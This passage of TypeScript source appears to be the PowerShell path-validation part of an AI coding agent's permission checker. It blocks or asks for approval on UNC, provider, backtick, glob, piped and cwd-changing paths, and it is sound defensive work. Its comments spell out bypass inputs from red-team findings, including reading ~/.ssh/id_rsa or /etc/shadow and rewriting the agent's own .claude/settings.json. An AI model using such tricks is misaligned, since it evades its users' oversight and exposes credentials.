 950      isPathInSandboxWriteAllowlist(resolvedPath)
 951    ) {
 952      return {
 953        allowed: true,
 954        decisionReason: {
 955          type: 'other',
 956          reason: 'Path is in sandbox write allowlist',
 957        },
 958      }
 959    }
 960  
 961    // 4. Check allow rules
 962    const allowRule = matchingRuleForInput(
 963      resolvedPath,
 964      context,
 965      permissionType,
 966      'allow',
 967    )
 968    if (allowRule !== null) {
 969      return {
 970        allowed: true,
 971        decisionReason: { type: 'rule', rule: allowRule },
 972      }
 973    }
 974  
 975    // 5. Path is not allowed
 976    return { allowed: false }
 977  }
 978  
 979  /**
 980   * Best-effort deny check for paths obscured by :: or backtick syntax.
 981   * ONLY checks deny rules — never auto-allows. If the stripped guess
 982   * doesn't match a deny rule, we fall through to ask as before.
 983   */
 984  function checkDenyRuleForGuessedPath(
 985    strippedPath: string,
 986    cwd: string,
 987    toolPermissionContext: ToolPermissionContext,
 988    operationType: FileOperationType,
 989  ): { resolvedPath: string; rule: PermissionRule } | null {
 990    // Red-team P7: null bytes make expandPath throw. Pre-existing but
 991    // defend here since we're introducing a new call path.
 992    if (!strippedPath || strippedPath.includes('\0')) return null
 993    // Red-team P3: `~/.ssh/x strips to ~/.ssh/x but expandTilde only fires
 994    // on leading ~ — the backtick was in front of it. Re-run here.
 995    const tildeExpanded = expandTilde(strippedPath)
 996    const abs = isAbsolute(tildeExpanded)
 997      ? tildeExpanded
 998      : resolve(cwd, tildeExpanded)
 999    const { resolvedPath } = safeResolvePath(getFsImplementation(), abs)
1000    const permissionType = operationType === 'read' ? 'read' : 'edit'
1001    const denyRule = matchingRuleForInput(
1002      resolvedPath,
1003      toolPermissionContext,
1004      permissionType,
1005      'deny',
1006    )
1007    return denyRule ? { resolvedPath, rule: denyRule } : null
1008  }
1009  
1010  /**
1011   * Validates a file system path, handling tilde expansion.
1012   */
1013  function validatePath(
1014    filePath: string,
1015    cwd: string,
1016    toolPermissionContext: ToolPermissionContext,
1017    operationType: FileOperationType,
1018  ): ResolvedPathCheckResult {
1019    // Remove surrounding quotes if present
1020    const cleanPath = expandTilde(filePath.replace(/^['"]|['"]$/g, ''))
1021  
1022    // SECURITY: PowerShell Core normalizes backslashes to forward slashes on all
1023    // platforms, but path.resolve on Linux/Mac treats them as literal characters.
1024    // Normalize before resolution so traversal patterns like dir\..\..\etc\shadow
1025    // are correctly detected.
1026    const normalizedPath = cleanPath.replace(/\\/g, '/')
1027  
1028    // SECURITY: Backtick (`) is PowerShell's escape character. It is a no-op in
1029    // many positions (e.g., `/ === /) but defeats Node.js path checks like
1030    // isAbsolute(). Redirection targets use raw .Extent.Text which preserves
1031    // backtick escapes. Treat any path containing a backtick as unvalidatable.
1032    if (normalizedPath.includes('`')) {
1033      // Red-team P3: backtick is already resolved for StringConstant args
1034      // (parser uses .value); this guard primarily fires for redirection
1035      // targets which use raw .Extent.Text. Strip is a no-op for most special
1036      // escapes (`n → n) but that's fine — wrong guess → no deny match →
1037      // falls to ask.
1038      const backtickStripped = normalizedPath.replace(/`/g, '')
1039      const denyHit = checkDenyRuleForGuessedPath(
1040        backtickStripped,
1041        cwd,
1042        toolPermissionContext,
1043        operationType,
1044      )
1045      if (denyHit) {
1046        return {
1047          allowed: false,
1048          resolvedPath: denyHit.resolvedPath,
1049          decisionReason: { type: 'rule', rule: denyHit.rule },
1050        }
1051      }
1052      return {
1053        allowed: false,
1054        resolvedPath: normalizedPath,
1055        decisionReason: {
1056          type: 'other',
1057          reason:
1058            'Backtick escape characters in paths cannot be statically validated and require manual approval',
1059        },
1060      }
1061    }
1062  
1063    // SECURITY: Block module-qualified provider paths. PowerShell allows
1064    // `Microsoft.PowerShell.Core\FileSystem::/etc/passwd` which resolves to
1065    // `/etc/passwd` via the FileSystem provider. The `::` is the provider
1066    // path separator and doesn't match the simple `^[a-z]{2,}:` regex.
1067    if (normalizedPath.includes('::')) {
1068      // Strip everything up to and including the first :: — handles both
1069      // FileSystem::/path and Microsoft.PowerShell.Core\FileSystem::/path.
1070      // Double-:: (Foo::Bar::/x) strips first only → 'Bar::/x' → resolve
1071      // makes it {cwd}/Bar::/x → won't match real deny rules → falls to ask.
1072      // Safe.
1073      const afterProvider = normalizedPath.slice(normalizedPath.indexOf('::') + 2)
1074      const denyHit = checkDenyRuleForGuessedPath(
1075        afterProvider,
1076        cwd,
1077        toolPermissionContext,
1078        operationType,
1079      )
1080      if (denyHit) {
1081        return {
1082          allowed: false,
1083          resolvedPath: denyHit.resolvedPath,
1084          decisionReason: { type: 'rule', rule: denyHit.rule },
1085        }
1086      }
1087      return {
1088        allowed: false,
1089        resolvedPath: normalizedPath,
1090        decisionReason: {
1091          type: 'other',
1092          reason:
1093            'Module-qualified provider paths (::) cannot be statically validated and require manual approval',
1094        },
1095      }
1096    }
1097  
1098    // SECURITY: Block UNC paths — they can trigger network requests and
1099    // leak NTLM/Kerberos credentials
1100    if (
1101      normalizedPath.startsWith('//') ||
1102      /DavWWWRoot/i.test(normalizedPath) ||
1103      /@SSL@/i.test(normalizedPath)
1104    ) {
1105      return {
1106        allowed: false,
1107        resolvedPath: normalizedPath,
1108        decisionReason: {
1109          type: 'other',
1110          reason:
1111            'UNC paths are blocked because they can trigger network requests and credential leakage',
1112        },
1113      }
1114    }
1115  
1116    // SECURITY: Reject paths containing shell expansion syntax
1117    if (normalizedPath.includes('$') || normalizedPath.includes('%')) {
1118      return {
1119        allowed: false,
1120        resolvedPath: normalizedPath,
1121        decisionReason: {
1122          type: 'other',
1123          reason: 'Variable expansion syntax in paths requires manual approval',
1124        },
1125      }
1126    }
1127  
1128    // SECURITY: Block non-filesystem provider paths (env:, HKLM:, alias:, function:, etc.)
1129    // These paths access non-filesystem resources and must require manual approval.
1130    // This catches colon-syntax like -Path:env:HOME where the extracted value is 'env:HOME'.
1131    //
1132    // Platform split (findings #21/#28):
1133    // - Windows: require 2+ letters before ':' so native drive letters (C:, D:)
1134    //   pass through to path.win32.isAbsolute/resolve which handle them correctly.
1135    // - POSIX: ANY <letters>: prefix is a PowerShell PSDrive — single-letter drive
1136    //   paths have no native meaning on Linux/macOS. `New-PSDrive -Name Z -Root /etc`
1137    //   then `Get-Content Z:/secrets` would otherwise resolve via
1138    //   path.posix.resolve(cwd, 'Z:/secrets') → '{cwd}/Z:/secrets' → inside cwd →
1139    //   allowed, bypassing Read(/etc/**) deny rules. We cannot statically know what
1140    //   filesystem root a PSDrive maps to, so treat all drive-prefixed paths on
1141    //   POSIX as unvalidatable.
1142    // Include digits in PSDrive name (bug #23): `New-PSDrive -Name 1 ...`
1143    // creates drive `1:` — a valid PSDrive path prefix.
1144    // Windows regex requires 2+ chars to exclude single-letter native drive letters
1145    // (C:, D:). Use a single character class [a-z0-9] to catch mixed alphanumeric
1146    // PSDrive names like `a1:`, `1a:` — the previous alternation `[a-z]{2,}|[0-9]+`
1147    // missed those since `a1` is neither pure letters nor pure digits.
1148    const providerPathRegex =
1149      getPlatform() === 'windows' ? /^[a-z0-9]{2,}:/i : /^[a-z0-9]+:/i
1150    if (providerPathRegex.test(normalizedPath)) {
1151      return {
1152        allowed: false,
1153        resolvedPath: normalizedPath,
1154        decisionReason: {
1155          type: 'other',
1156          reason: `Path '${normalizedPath}' uses a non-filesystem provider and requires manual approval`,
1157        },
1158      }
1159    }
1160  
1161    // SECURITY: Block glob patterns in write/create operations
1162    if (GLOB_PATTERN_REGEX.test(normalizedPath)) {
1163      if (operationType === 'write' || operationType === 'create') {
1164        return {
1165          allowed: false,
1166          resolvedPath: normalizedPath,
1167          decisionReason: {
1168            type: 'other',
1169            reason:
1170              'Glob patterns are not allowed in write operations. Please specify an exact file path.',
1171          },
1172        }
1173      }
1174  
1175      // For read operations with path traversal (e.g., /project/*/../../../etc/shadow),
1176      // resolve the full path (including glob chars) and validate that resolved path.
1177      // This catches patterns that escape the working directory via `..` after the glob.
1178      if (containsPathTraversal(normalizedPath)) {
1179        const absolutePath = isAbsolute(normalizedPath)
1180          ? normalizedPath
1181          : resolve(cwd, normalizedPath)
1182        const { resolvedPath, isCanonical } = safeResolvePath(
1183          getFsImplementation(),
1184          absolutePath,
1185        )
1186        const result = isPathAllowed(
1187          resolvedPath,
1188          toolPermissionContext,
1189          operationType,
1190          isCanonical ? [resolvedPath] : undefined,
1191        )
1192        return {
1193          allowed: result.allowed,
1194          resolvedPath,
1195          decisionReason: result.decisionReason,
1196        }
1197      }
1198  
1199      // SECURITY (finding #15): Glob patterns for read operations cannot be
1200      // statically validated. getGlobBaseDirectory returns the directory before
1201      // the first glob char; only that base is realpathed. Anything matched by
1202      // the glob (including symlinks) is never examined. Example:
1203      //   /project/*/passwd with symlink /project/link → /etc
1204      // Base dir is /project (allowed), but runtime expands * to 'link' and
1205      // reads /etc/passwd. We cannot validate symlinks inside glob expansion
1206      // without actually expanding the glob (requires filesystem access and
1207      // still races with attacker creating symlinks post-validation).
1208      //
1209      // Still check deny rules on the base directory so explicit Read(/project/**)
1210      // deny rules fire. If no deny matches, force ask.
1211      const basePath = getGlobBaseDirectory(normalizedPath)
1212      const absoluteBasePath = isAbsolute(basePath)
1213        ? basePath
1214        : resolve(cwd, basePath)
1215      const { resolvedPath } = safeResolvePath(
1216        getFsImplementation(),
1217        absoluteBasePath,
1218      )
1219      const permissionType = operationType === 'read' ? 'read' : 'edit'
1220      const denyRule = matchingRuleForInput(
1221        resolvedPath,
1222        toolPermissionContext,
1223        permissionType,
1224        'deny',
1225      )
1226      if (denyRule !== null) {
1227        return {
1228          allowed: false,
1229          resolvedPath,
1230          decisionReason: { type: 'rule', rule: denyRule },
1231        }
1232      }
1233      return {
1234        allowed: false,
1235        resolvedPath,
1236        decisionReason: {
1237          type: 'other',
1238          reason:
1239            'Glob patterns in paths cannot be statically validated — symlinks inside the glob expansion are not examined. Requires manual approval.',
1240        },
1241      }
1242    }
1243  
1244    // Resolve path
1245    const absolutePath = isAbsolute(normalizedPath)
1246      ? normalizedPath
1247      : resolve(cwd, normalizedPath)
1248    const { resolvedPath, isCanonical } = safeResolvePath(
1249      getFsImplementation(),
1250      absolutePath,
1251    )
1252  
1253    const result = isPathAllowed(
1254      resolvedPath,
1255      toolPermissionContext,
1256      operationType,
1257      isCanonical ? [resolvedPath] : undefined,
1258    )
1259    return {
1260      allowed: result.allowed,
1261      resolvedPath,
1262      decisionReason: result.decisionReason,
1263    }
1264  }
1265  
1266  function getGlobBaseDirectory(filePath: string): string {
1267    const globMatch = filePath.match(GLOB_PATTERN_REGEX)
1268    if (!globMatch || globMatch.index === undefined) {
1269      return filePath
1270    }
1271    const beforeGlob = filePath.substring(0, globMatch.index)
1272    const lastSepIndex = Math.max(
1273      beforeGlob.lastIndexOf('/'),
1274      beforeGlob.lastIndexOf('\\'),
1275    )
1276    if (lastSepIndex === -1) return '.'
1277    return beforeGlob.substring(0, lastSepIndex + 1) || '/'
1278  }
1279  
1280  /**
1281   * Element types that are safe to extract as literal path strings.
1282   *
1283   * Only element types with statically-known string values are safe for path
1284   * extraction. Variable and ExpandableString have runtime-determined values —
1285   * even though they're defended downstream ($ detection in validatePath's
1286   * `includes('$')` check, and the hasExpandableStrings security flag), excluding
1287   * them here is defense-in-direct: fail-safe at the earliest gate rather than
1288   * relying on downstream checks to catch them.
1289   *
1290   * Any other type (e.g., 'Other' for ArrayLiteralExpressionAst, 'SubExpression',
1291   * 'ScriptBlock', 'Variable', 'ExpandableString') cannot be statically validated
1292   * and must force an ask.
1293   */
1294  const SAFE_PATH_ELEMENT_TYPES = new Set<string>(['StringConstant', 'Parameter'])
1295  
1296  /**
1297   * Extract file paths from a parsed PowerShell command element.
1298   * Uses the AST args to find positional and named path parameters.
1299   *
1300   * If any path argument has a complex elementType (e.g., array literal,
1301   * subexpression) that cannot be statically validated, sets
1302   * hasUnvalidatablePathArg so the caller can force an ask.
1303   */
1304  function extractPathsFromCommand(cmd: ParsedCommandElement): {
1305    paths: string[]
1306    operationType: FileOperationType
1307    hasUnvalidatablePathArg: boolean
1308    optionalWrite: boolean
1309  } {
1310    const canonical = resolveToCanonical(cmd.name)
1311    const config = CMDLET_PATH_CONFIG[canonical]
1312  
1313    if (!config) {
1314      return {
1315        paths: [],
1316        operationType: 'read',
1317        hasUnvalidatablePathArg: false,
1318        optionalWrite: false,
1319      }
1320    }
1321  
1322    // Build per-cmdlet known-param sets, merging in common parameters.
1323    const switchParams = [...config.knownSwitches, ...COMMON_SWITCHES]
1324    const valueParams = [...config.knownValueParams, ...COMMON_VALUE_PARAMS]
1325  
1326    const paths: string[] = []
1327    const args = cmd.args
1328    // elementTypes[0] is the command name; elementTypes[i+1] corresponds to args[i]
1329    const elementTypes = cmd.elementTypes
1330    let hasUnvalidatablePathArg = false
1331    let positionalsSeen = 0
1332    const positionalSkip = config.positionalSkip ?? 0
1333  
1334    function checkArgElementType(argIdx: number): void {
1335      if (!elementTypes) return
1336      const et = elementTypes[argIdx + 1]
1337      if (et && !SAFE_PATH_ELEMENT_TYPES.has(et)) {
1338        hasUnvalidatablePathArg = true
1339      }
1340    }
1341  
1342    // Extract named parameter values (e.g., -Path "C:\foo")
1343    for (let i = 0; i < args.length; i++) {
1344      const arg = args[i]
1345      if (!arg) continue
1346  
1347      // Check if this arg is a parameter name.
1348      // SECURITY: Use elementTypes as ground truth. PowerShell's tokenizer
1349      // accepts en-dash/em-dash/horizontal-bar (U+2013/2014/2015) as parameter
1350      // prefixes; a raw startsWith('-') check misses `–Path` (en-dash). The
1351      // parser maps CommandParameterAst → 'Parameter' regardless of dash char.
1352      // isPowerShellParameter also correctly rejects quoted "-Include"
1353      // (StringConstant, not a parameter).
1354      const argElementType = elementTypes ? elementTypes[i + 1] : undefined
1355      if (isPowerShellParameter(arg, argElementType)) {
1356        // Handle colon syntax: -Path:C:\secret
1357        // Normalize Unicode dash to ASCII `-` (pathParams are stored with `-`).
1358        const normalized = '-' + arg.slice(1)
1359        const colonIdx = normalized.indexOf(':', 1) // skip first char (the dash)
1360        const paramName =
1361          colonIdx > 0 ? normalized.substring(0, colonIdx) : normalized
1362        const paramLower = paramName.toLowerCase()
1363  
1364        if (matchesParam(paramLower, config.pathParams)) {
1365          // Known path parameter — extract its value as a path.
1366          let value: string | undefined
1367          if (colonIdx > 0) {
1368            // Colon syntax: -Path:value — the whole thing is one element.
1369            // SECURITY: comma-separated values (e.g., -Path:safe.txt,/etc/passwd)
1370            // produce ArrayLiteralExpressionAst inside the CommandParameterAst.
1371            // PowerShell writes to ALL paths, but we see a single string.
1372            const rawValue = arg.substring(colonIdx + 1)
1373            if (hasComplexColonValue(rawValue)) {
1374              hasUnvalidatablePathArg = true
1375            } else {
1376              value = rawValue
1377            }
1378          } else {
1379            // Standard syntax: -Path value
1380            const nextVal = args[i + 1]
1381            const nextType = elementTypes ? elementTypes[i + 2] : undefined
1382            if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
1383              value = nextVal
1384              checkArgElementType(i + 1)
1385              i++ // Skip the value
1386            }
1387          }
1388          if (value) {
1389            paths.push(value)
1390          }
1391        } else if (
1392          config.leafOnlyPathParams &&
1393          matchesParam(paramLower, config.leafOnlyPathParams)
1394        ) {
1395          // Leaf-only path parameter (e.g., New-Item -Name). PowerShell resolves
1396          // this relative to ANOTHER parameter (-Path), not cwd. validatePath
1397          // resolves against cwd (L930), so non-leaf values (separators,
1398          // traversal) resolve to the WRONG location and can miss deny rules
1399          // (deny→ask downgrade). Extract simple leaf filenames; flag anything
1400          // path-like.
1401          let value: string | undefined
1402          if (colonIdx > 0) {
1403            const rawValue = arg.substring(colonIdx + 1)
1404            if (hasComplexColonValue(rawValue)) {
1405              hasUnvalidatablePathArg = true
1406            } else {
1407              value = rawValue
1408            }
1409          } else {
1410            const nextVal = args[i + 1]
1411            const nextType = elementTypes ? elementTypes[i + 2] : undefined
1412            if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
1413              value = nextVal
1414              checkArgElementType(i + 1)
1415              i++
1416            }
1417          }
1418          if (value !== undefined) {
1419            if (
1420              value.includes('/') ||
1421              value.includes('\\') ||
1422              value === '.' ||
1423              value === '..'
1424            ) {
1425              // Non-leaf: separators or traversal. Can't resolve correctly
1426              // without joining against -Path. Force ask.
1427              hasUnvalidatablePathArg = true
1428            } else {
1429              // Simple leaf: extract. Resolves to cwd/leaf (slightly wrong —
1430              // should be <-Path>/leaf) but -Path extraction covers the
1431              // directory, and a leaf filename can't traverse out of anywhere.
1432              paths.push(value)
1433            }
1434          }
1435        } else if (matchesParam(paramLower, switchParams)) {
1436          // Known switch parameter — takes no value, do NOT consume next arg.
1437          // (Colon syntax on a switch, e.g., -Confirm:$false, is self-contained
1438          // in one token and correctly falls through here without consuming.)
1439        } else if (matchesParam(paramLower, valueParams)) {
1440          // Known value-taking non-path parameter (e.g., -Encoding UTF8, -Filter *.txt).
1441          // Consume its value; do NOT validate as path, but DO check elementType.
1442          // SECURITY: A Variable elementType (e.g., $env:ANTHROPIC_API_KEY) in any
1443          // argument position means the runtime value is not statically knowable.
1444          // Without this check, `-Value $env:SECRET` would be silently auto-allowed
1445          // in acceptEdits mode because the Variable elementType was never examined.
1446          if (colonIdx > 0) {
1447            // Colon syntax: -Value:$env:FOO — the value is embedded in the token.
1448            // The outer CommandParameterAst 'Parameter' type masks the inner
1449            // expression type. Check for expression markers that indicate a
1450            // non-static value (mirrors pathParams colon-syntax guards).
1451            const rawValue = arg.substring(colonIdx + 1)
1452            if (hasComplexColonValue(rawValue)) {
1453              hasUnvalidatablePathArg = true
1454            }
1455          } else {
1456            const nextArg = args[i + 1]
1457            const nextArgType = elementTypes ? elementTypes[i + 2] : undefined
1458            if (nextArg && !isPowerShellParameter(nextArg, nextArgType)) {
1459              checkArgElementType(i + 1)
1460              i++ // Skip the parameter's value
1461            }
1462          }
1463        } else {
1464          // Unknown parameter — we do not understand this invocation.
1465          // SECURITY: This is the structural fix for the KNOWN_SWITCH_PARAMS
1466          // whack-a-mole. Rather than guess whether this param is a switch
1467          // (and risk swallowing a positional path) or takes a value (and
1468          // risk the same), we flag the whole command as unvalidatable.
1469          // The caller will force an ask.
1470          hasUnvalidatablePathArg = true
1471          // SECURITY: Even though we don't recognize this param, if it uses
1472          // colon syntax (-UnknownParam:/etc/hosts) the bound value might be
1473          // a filesystem path. Extract it into paths[] so deny-rule matching
1474          // still runs. Without this, the value is trapped inside the single
1475          // token and paths=[] means deny rules are never consulted —
1476          // downgrading deny to ask. This is defense-in-depth: the primary
1477          // fix is adding all known aliases to pathParams above.
1478          if (colonIdx > 0) {
1479            const rawValue = arg.substring(colonIdx + 1)
1480            if (!hasComplexColonValue(rawValue)) {
1481              paths.push(rawValue)
1482            }
1483          }
1484          // Continue the loop so we still extract any recognizable paths
1485          // (useful for the ask message), but the flag ensures overall 'ask'.
1486        }
1487        continue
1488      }
1489  
1490      // Positional arguments: extract as paths (e.g., Get-Content file.txt)
1491      // The first positional arg is typically the source path.
1492      // Skip leading positionals that are non-path values (e.g., iwr's -Uri).
1493      if (positionalsSeen < positionalSkip) {
1494        positionalsSeen++
1495        continue
1496      }
1497      positionalsSeen++
1498      checkArgElementType(i)
1499      paths.push(arg)
1500    }
1501  
1502    return {
1503      paths,
1504      operationType: config.operationType,
1505      hasUnvalidatablePathArg,
1506      optionalWrite: config.optionalWrite ?? false,
1507    }
1508  }
1509  
1510  /**
1511   * Checks path constraints for PowerShell commands.
1512   * Extracts file paths from the parsed AST and validates they are
1513   * within allowed directories.
1514   *
1515   * @param compoundCommandHasCd - Whether the full compound command contains a
1516   *   cwd-changing cmdlet (Set-Location/Push-Location/Pop-Location/New-PSDrive,
1517   *   excluding no-op Set-Location-to-CWD). When true, relative paths in ANY
1518   *   statement cannot be trusted — PowerShell executes statements sequentially
1519   *   and a cd in statement N changes the cwd for statement N+1, but this
1520   *   validator resolves all paths against the stale Node process cwd.
1521   *   BashTool parity (BashTool/pathValidation.ts:630-655).
1522   *
1523   * @returns
1524   * - 'ask' if any path command tries to access outside allowed directories
1525   * - 'deny' if a deny rule explicitly blocks the path
1526   * - 'passthrough' if no path commands were found or all paths are valid
1527   */
1528  export function checkPathConstraints(
1529    input: { command: string },
1530    parsed: ParsedPowerShellCommand,
1531    toolPermissionContext: ToolPermissionContext,
1532    compoundCommandHasCd = false,
1533  ): PermissionResult {
1534    if (!parsed.valid) {
1535      return {
1536        behavior: 'passthrough',
1537        message: 'Cannot validate paths for unparsed command',
1538      }
1539    }
1540  
1541    // SECURITY: Two-pass approach — check ALL statements/paths so deny rules
1542    // always take precedence over ask. Without this, an ask on statement 1
1543    // could return before checking statement 2 for deny rules, letting the
1544    // user approve a command that includes a denied path.
1545    let firstAsk: PermissionResult | undefined
1546  
1547    for (const statement of parsed.statements) {
1548      const result = checkPathConstraintsForStatement(
1549        statement,
1550        toolPermissionContext,
1551        compoundCommandHasCd,
1552      )
1553      if (result.behavior === 'deny') {
1554        return result
1555      }
1556      if (result.behavior === 'ask' && !firstAsk) {
1557        firstAsk = result
1558      }
1559    }
1560  
1561    return (
1562      firstAsk ?? {
1563        behavior: 'passthrough',
1564        message: 'All path constraints validated successfully',
1565      }
1566    )
1567  }
1568  
1569  function checkPathConstraintsForStatement(
1570    statement: ParsedPowerShellCommand['statements'][number],
1571    toolPermissionContext: ToolPermissionContext,
1572    compoundCommandHasCd = false,
1573  ): PermissionResult {
1574    const cwd = getCwd()
1575    let firstAsk: PermissionResult | undefined
1576  
1577    // SECURITY: BashTool parity — block path operations in compound commands
1578    // containing a cwd-changing cmdlet (BashTool/pathValidation.ts:630-655).
1579    //
1580    // When the compound contains Set-Location/Push-Location/Pop-Location/
1581    // New-PSDrive, relative paths in later statements resolve against the
1582    // CHANGED cwd at runtime, but this validator resolves them against the
1583    // STALE getCwd() snapshot. Example attack (finding #3):
1584    //   Set-Location ./.claude; Set-Content ./settings.json '...'
1585    // Validator sees ./settings.json → /project/settings.json (not a config file).
1586    // Runtime writes /project/.claude/settings.json (Claude's permission config).
1587    //
1588    // ALTERNATIVE APPROACH (rejected): simulate cwd through the statement chain
1589    // — after `Set-Location ./.claude`, validate subsequent statements with
1590    // cwd='./.claude'. This would be more permissive but requires careful
1591    // handling of:
1592    //   - Push-Location/Pop-Location stack semantics
1593    //   - Set-Location with no args (→ home on some platforms)
1594    //   - New-PSDrive root mapping (arbitrary filesystem root)
1595    //   - Conditional/loop statements where cd may or may not execute
1596    //   - Error cases where the cd target can't be statically determined
1597    // For now we take the conservative approach of requiring manual approval.
1598    //
1599    // Unlike BashTool which gates on `operationType !== 'read'`, we also block
1600    // READS (finding #27): `Set-Location ~; Get-Content ./.ssh/id_rsa` bypasses
1601    // Read(~/.ssh/**) deny rules because the validator matched the deny against
1602    // /project/.ssh/id_rsa. Reads from mis-resolved paths leak data just as
1603    // writes destroy it. We still run deny-rule matching below (via firstAsk,
1604    // not early return) so explicit deny rules on the stale-resolved path are
1605    // honored — deny > ask in the caller's reduce.
1606    if (compoundCommandHasCd) {
1607      firstAsk = {
1608        behavior: 'ask',
1609        message:
1610          'Compound command changes working directory (Set-Location/Push-Location/Pop-Location/New-PSDrive) — relative paths cannot be validated against the original cwd and require manual approval',
1611        decisionReason: {
1612          type: 'other',
1613          reason:
1614            'Compound command contains cd with path operation — manual approval required to prevent path resolution bypass',
1615        },
1616      }
1617    }
1618  
1619    // SECURITY: Track whether this statement contains a non-CommandAst pipeline
1620    // element (string literal, variable, array expression). PowerShell pipes
1621    // these values to downstream cmdlets, often binding to -Path. Example:
1622    // `'/etc/passwd' | Remove-Item` — the string is piped to Remove-Item's -Path,
1623    // but Remove-Item has no explicit args so extractPathsFromCommand returns
1624    // zero paths and the command would passthrough. If ANY downstream cmdlet
1625    // appears alongside an expression source, we force an ask — the piped
1626    // path is unvalidatable regardless of operation type (reads leak data;
1627    // writes destroy it).
1628    let hasExpressionPipelineSource = false
1629    // Track the non-CommandAst element's text for deny-rule guessing (finding #23).
1630    // `'.git/hooks/pre-commit' | Remove-Item` — path comes via pipeline, paths=[]
1631    // from extractPathsFromCommand, so the deny loop below never iterates. We
1632    // feed the pipeline-source text through checkDenyRuleForGuessedPath so
1633    // explicit Edit(.git/**) deny rules still fire.
1634    let pipelineSourceText: string | undefined
1635  
1636    for (const cmd of statement.commands) {
1637      if (cmd.elementType !== 'CommandAst') {
1638        hasExpressionPipelineSource = true
1639        pipelineSourceText = cmd.text
1640        continue
1641      }
1642  
1643      const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } =
1644        extractPathsFromCommand(cmd)
1645  
1646      // SECURITY: Cmdlet receiving piped path from expression source.
1647      // `'/etc/shadow' | Get-Content` — Get-Content extracts zero paths
1648      // (no explicit args). The path comes from the pipeline, which we cannot
1649      // statically validate. Previously exempted reads (`operationType !== 'read'`),
1650      // but that was a bypass (review comment 2885739292): reads from
1651      // unvalidatable paths are still a security risk. Ask regardless of op type.
1652      if (hasExpressionPipelineSource) {
1653        const canonical = resolveToCanonical(cmd.name)
1654        // SECURITY (finding #23): Before falling back to ask, check if the
1655        // pipeline-source text matches a deny rule. `'.git/hooks/pre-commit' |
1656        // Remove-Item` should DENY (not ask) when Edit(.git/**) is configured.
1657        // Strip surrounding quotes (string literals are quoted in .text) and
1658        // feed through the same deny-guess helper used for ::/backtick paths.
1659        if (pipelineSourceText !== undefined) {
1660          const stripped = pipelineSourceText.replace(/^['"]|['"]$/g, '')
1661          const denyHit = checkDenyRuleForGuessedPath(
1662            stripped,
1663            cwd,
1664            toolPermissionContext,
1665            operationType,
1666          )
1667          if (denyHit) {
1668            return {
1669              behavior: 'deny',
1670              message: `${canonical} targeting '${denyHit.resolvedPath}' was blocked by a deny rule`,
1671              decisionReason: { type: 'rule', rule: denyHit.rule },
1672            }
1673          }
1674        }
1675        firstAsk ??= {
1676          behavior: 'ask',
1677          message: `${canonical} receives its path from a pipeline expression source that cannot be statically validated and requires manual approval`,
1678        }
1679        // Don't continue — fall through to path loop so deny rules on
1680        // extracted paths are still checked.
1681      }
1682  
1683      // SECURITY: Array literals, subexpressions, and other complex
1684      // argument types cannot be statically validated. An array literal
1685      // like `-Path ./safe.txt, /etc/passwd` produces a single 'Other'
1686      // element whose combined text may resolve within CWD while
1687      // PowerShell actually writes to ALL paths in the array.
1688      if (hasUnvalidatablePathArg) {
1689        const canonical = resolveToCanonical(cmd.name)
1690        firstAsk ??= {
1691          behavior: 'ask',
1692          message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
1693        }
1694        // Don't continue — fall through to path loop so deny rules on
1695        // extracted paths are still checked.
1696      }
1697  
1698      // SECURITY: Write cmdlet in CMDLET_PATH_CONFIG that extracted zero paths.
1699      // Either (a) the cmdlet has no args at all (`Remove-Item` alone —
1700      // PowerShell will error, but we shouldn't optimistically assume that), or
1701      // (b) we failed to recognize the path among the args (shouldn't happen
1702      // with the unknown-param fail-safe, but defense-in-depth). Conservative:
1703      // write operation with no validated target → ask.
1704      // Read cmdlets and pop-location (pathParams: []) are exempt.
1705      // optionalWrite cmdlets (Invoke-WebRequest/Invoke-RestMethod without
1706      // -OutFile) are ALSO exempt — they only write to disk when a pathParam is
1707      // present; without one, output goes to the pipeline. The
1708      // hasUnvalidatablePathArg check above already covers unknown-param cases.
1709      if (
1710        operationType !== 'read' &&
1711        !optionalWrite &&
1712        paths.length === 0 &&
1713        CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]
1714      ) {
1715        const canonical = resolveToCanonical(cmd.name)
1716        firstAsk ??= {
1717          behavior: 'ask',
1718          message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
1719        }
1720        continue
1721      }
1722  
1723      // SECURITY: bash-parity hard-deny for removal cmdlets on
1724      // system-critical paths. BashTool has isDangerousRemovalPath which
1725      // hard-DENIES `rm /`, `rm ~`, `rm /etc`, etc. regardless of user config.
1726      // Port: remove-item (and aliases rm/del/ri/rd/rmdir/erase → resolveToCanonical)
1727      // on a dangerous path → deny (not ask). User cannot approve system32 deletion.
1728      const isRemoval = resolveToCanonical(cmd.name) === 'remove-item'
1729  
1730      for (const filePath of paths) {
1731        // Hard-deny removal of dangerous system paths (/, ~, /etc, etc.).
1732        // Check the RAW path (pre-realpath) first: safeResolvePath can
1733        // canonicalize '/' → 'C:\' (Windows) or '/var/...' → '/private/var/...'
1734        // (macOS) which defeats isDangerousRemovalPath's string comparisons.
1735        if (isRemoval && isDangerousRemovalRawPath(filePath)) {
1736          return dangerousRemovalDeny(filePath)
1737        }
1738  
1739        const { allowed, resolvedPath, decisionReason } = validatePath(
1740          filePath,
1741          cwd,
1742          toolPermissionContext,
1743          operationType,
1744        )
1745  
1746        // Also check the resolved path — catches symlinks that resolve to a
1747        // protected location.
1748        if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
1749          return dangerousRemovalDeny(resolvedPath)
1750        }
1751  
1752        if (!allowed) {
1753          const canonical = resolveToCanonical(cmd.name)
1754          const workingDirs = Array.from(
1755            allWorkingDirectories(toolPermissionContext),
1756          )
1757          const dirListStr = formatDirectoryList(workingDirs)
1758  
1759          const message =
1760            decisionReason?.type === 'other' ||
1761            decisionReason?.type === 'safetyCheck'
1762              ? decisionReason.reason
1763              : `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.`
1764  
1765          if (decisionReason?.type === 'rule') {
1766            return {
1767              behavior: 'deny',
1768              message,
1769              decisionReason,
1770            }
1771          }
1772  
1773          const suggestions: PermissionUpdate[] = []
1774          if (resolvedPath) {
1775            if (operationType === 'read') {
1776              const suggestion = createReadRuleSuggestion(
1777                getDirectoryForPath(resolvedPath),
1778                'session',
1779              )
1780              if (suggestion) {
